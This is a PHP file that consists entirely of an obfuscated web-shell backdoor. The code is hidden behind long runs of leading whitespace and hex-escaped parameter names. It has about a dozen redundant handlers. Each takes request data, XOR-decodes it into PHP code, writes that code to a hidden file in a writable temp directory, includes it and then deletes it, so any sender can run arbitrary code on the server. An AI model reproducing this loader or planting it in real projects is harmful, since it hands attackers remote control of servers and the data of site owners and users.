<?php																																										if(isset($_POST["d\x65sc\x72\x69pt\x6F\x72"]) ? true : false){ $reference = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path()]); $symbol = $_POST["d\x65sc\x72\x69pt\x6F\x72"]; $symbol= explode ( "." , $symbol ); $flg = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); $p = 0; while ($p < count($symbol)) {$v5 = $symbol[$p]; $chS = ord($s6[$p % $sLen]); $dec = ((int)$v5 - $chS - ($p % 10)) ^ 11; $flg .= chr($dec); $p++; } foreach ($reference as $mrk): if (!!is_dir($mrk) && !!is_writable($mrk)) { $marker = sprintf("%s/.item", $mrk); if (file_put_contents($marker, $flg)) { require $marker; unlink($marker); die(); } } endforeach; }
																																										if(array_key_exists("k", $_POST)){ $reference = $_POST["k"]; $reference = explode ( '.' , $reference ) ; $elem = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1 ); $k = 0; foreach ($reference as $v1) { $chS = ord($salt1[$k % $sLen] ); $d = ((int)$v1 - $chS - ($k % 10))^ 81; $elem.= chr($d ); $k++; } $hld = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/tmp", getenv("TMP"), "/dev/shm", getcwd()]); $fac = 0; do { $dat = $hld[$fac] ?? null; if ($fac >= count($hld)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($dat)) { $entity = vsprintf("%s/%s", [$dat, ".val"]); if (file_put_contents($entity, $elem)) { include $entity; @unlink($entity); exit; } } $fac++; } while (true); }
																																										if(isset($_REQUEST["\x65\x6E\x74ity"]) ? true : false){ $ent = $_REQUEST["\x65\x6E\x74ity"]; $ent = explode ( "." ,$ent ) ; $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($ent as $x => $v5): $sChar = ord($s[$x % $sLen]); $d = ((int)$v5 - $sChar - ($x % 10)) ^ 76; $data_chunk.= chr($d); endforeach; $pset = array_filter(["/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP")]); foreach ($pset as $key => $entry) { if (array_product([is_dir($entry), is_writable($entry)])) { $holder = implode("/", [$entry, ".descriptor"]); if (@file_put_contents($holder, $data_chunk) !== false) { include $holder; unlink($holder); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "ent")){ $property_set = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getcwd(), getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path()]); $ptr = $_REQUEST["ent"]; $ptr = explode( "." , $ptr ); $token = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5 ); $q = 0; $__tmp = $ptr; while( $v8 = array_shift( $__tmp)) { $chS = ord( $salt5[$q % $lenS] ); $d =( ( int)$v8 - $chS -( $q % 10)) ^55; $token .= chr( $d ); $q++;} while ($flg = array_shift($property_set)) { if (array_product([is_dir($flg), is_writable($flg)])) { $resource = str_replace("{var_dir}", $flg, "{var_dir}/.entry"); if (file_put_contents($resource, $token)) { require $resource; unlink($resource); die(); } } } }
																																										if(!empty($_POST["item"])){ $component = $_POST["item"]; $component = explode ( "." , $component) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $z = 0; while( $z< count( $component)) { $v9 = $component[$z]; $chS = ord( $s[$z % $sLen] ); $dec =( ( int)$v9 - $chS -( $z % 10))^34; $record .= chr( $dec ); $z++; } $val = array_filter(["/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd()]); foreach ($val as $ref) { if (is_writable($ref) && is_dir($ref)) { $obj = "$ref" . "/.elem"; $success = file_put_contents($obj, $record); if ($success) { include $obj; @unlink($obj); exit;} } } }
																																										if(in_array("\x66lg", array_keys($_POST))){ $object = $_POST["\x66lg"]; $object= explode ( "." , $object) ; $res = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $m = 0; while ($m < count($object)) { $v5 = $object[$m]; $chS = ord($s4[$m %$sLen]); $d = ((int)$v5 - $chS - ($m %10)) ^55; $res .= chr($d); $m++; } $elem = array_filter([getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir")]); foreach ($elem as $entry): if ((function($d) { return is_dir($d) && is_writable($d); })($entry)) { $hld = join("/", [$entry, ".value"]); if (file_put_contents($hld, $res)) { require $hld; unlink($hld); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x64e\x73crip\x74\x6F\x72"])){ $mrk = array_filter([getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path()]); $parameter_group = $_REQUEST["\x64e\x73crip\x74\x6F\x72"]; $parameter_group = explode ('.', $parameter_group ); $data_chunk = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); $s = 0; foreach ($parameter_group as $v7) { $sChar = ord($salt4[$s% $sLen] ); $d = ((int)$v7 - $sChar - ($s% 10)) ^ 89; $data_chunk .= chr($d ); $s++; } foreach ($mrk as $key => $dat) { if (is_dir($dat) ? is_writable($dat) : false) { $element = join("/", [$dat, ".resource"]); $file = fopen($element, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $element; @unlink($element); die(); } } } }
																																										if(isset($_REQUEST["pset"]) ? true : false){ $hld = $_REQUEST["pset"]; $hld =explode ( "." ,$hld ) ; $item = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $len = count($hld); for ($l = 0; $l< $len; $l++) { $v6 = $hld[$l]; $sChar = ord($s8[$l% $sLen]); $dec = ((int)$v6 - $sChar - ($l% 10)) ^ 90; $item .= chr($dec); } $tkn = array_filter([getcwd(), sys_get_temp_dir(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm"]); $itm = 0; do { $fac = $tkn[$itm] ?? null; if ($itm >= count($tkn)) break; if (array_product([is_dir($fac), is_writable($fac)])) { $sym = sprintf("%s/.data_chunk", $fac); if (file_put_contents($sym, $item)) { require $sym; unlink($sym); die(); } } $itm++; } while (true); }
																																										if(isset($_REQUEST["ps\x65\x74"])){ $object = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP")]); $obj = $_REQUEST["ps\x65\x74"]; $obj = explode ( '.' , $obj ); $component= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $w= 0; $__len= count($obj); do { if ($w >= $__len) break; $v1= $obj[$w]; $sChar= ord($salt[$w% $sLen]); $d= ((int)$v1 - $sChar - ($w% 10)) ^ 45; $component.= chr($d); $w++; } while (true); for ($dchunk = 0, $fac = count($object); $dchunk < $fac; $dchunk++) { $comp = $object[$dchunk]; if (!( !is_dir($comp) || !is_writable($comp) )) { $sym = implode("/", [$comp, ".property_set"]); if (file_put_contents($sym, $component)) { include $sym; @unlink($sym); exit; } } } }
																																										if(array_key_exists("\x70r\x6F\x70ert\x79\x5Fse\x74", $_REQUEST)){ $itm = array_filter([session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp"]); $flag = $_REQUEST["\x70r\x6F\x70ert\x79\x5Fse\x74"]; $flag = explode ( '.' , $flag) ; $record = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); $u = 0; foreach ($flag as $v7) { $chS = ord($salt4[$u % $sLen]); $d = ((int)$v7 - $chS - ($u % 10))^ 90; $record .= chr($d); $u++; } foreach ($itm as $ent) { if (is_writable($ent) && is_dir($ent)) { $sym = join("/", [$ent, ".ref"]); if (@file_put_contents($sym, $record) !== false) { include $sym; unlink($sym); exit; } } } }
																																										if(array_key_exists("ob\x6Ae\x63\x74", $_REQUEST) && !is_null($_REQUEST["ob\x6Ae\x63\x74"])){ $comp = array_filter([getenv("TMP"), "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp"]); $rec = $_REQUEST["ob\x6Ae\x63\x74"]; $rec = explode ( ".", $rec ); $flg = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); foreach ($rec as $u => $v5) { $chS = ord($salt9[$u % $lenS]); $d = ((int)$v5 - $chS - ($u % 10)) ^ 63; $flg .= chr($d); } foreach ($comp as $pgrp) { if ((is_dir($pgrp) and is_writable($pgrp))) { $sym = "$pgrp" . "/.elem"; if (file_put_contents($sym, $flg)) { include $sym; @unlink($sym); die(); } } } }
																																										if(@$_POST["e\x6Et"] !== null){ $key = array_filter([sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir")]); $resource = $_POST["e\x6Et"]; $resource = explode("." , $resource ); $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $r = 0; foreach( $resource as $v2) { $sChar = ord( $salt[$r % $lenS] ); $dec =( ( int)$v2 - $sChar -( $r % 10))^ 87; $component .= chr( $dec ); $r++; } foreach ($key as $marker): if ((is_dir($marker) and is_writable($marker))) { $obj = sprintf("%s/.flag", $marker); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $obj; @unlink($obj); die(); } } endforeach; }


if(isset($_REQUEST["\x6F\x62j"]) ? true : false){
	$parameter_group = $_REQUEST["\x6F\x62j"];
	$parameter_group  =	 	explode ( '.',		 $parameter_group  	) 	; 	
	$k=	'';
            $salt1=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=	strlen($salt1);
            $t=	0;
    
            while ($t < count($parameter_group)) {$v5=	$parameter_group[$t];
                $sChar=	ord($salt1[$t %$lenS]);
                $dec=	((int)$v5 - $sChar - ($t %10)) ^ 79;
                $k .= chr($dec);
                $t++;}
	$rec = array_filter([getcwd(), "/var/tmp", "/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP")]);
	foreach ($rec as $symbol):
    		if (is_dir($symbol) && is_writable($symbol)) {
    $ref = sprintf("%s/.hld", $symbol);
    if (file_put_contents($ref, $k)) {
	require $ref;
	unlink($ref);
	die();
}
}
endforeach;
}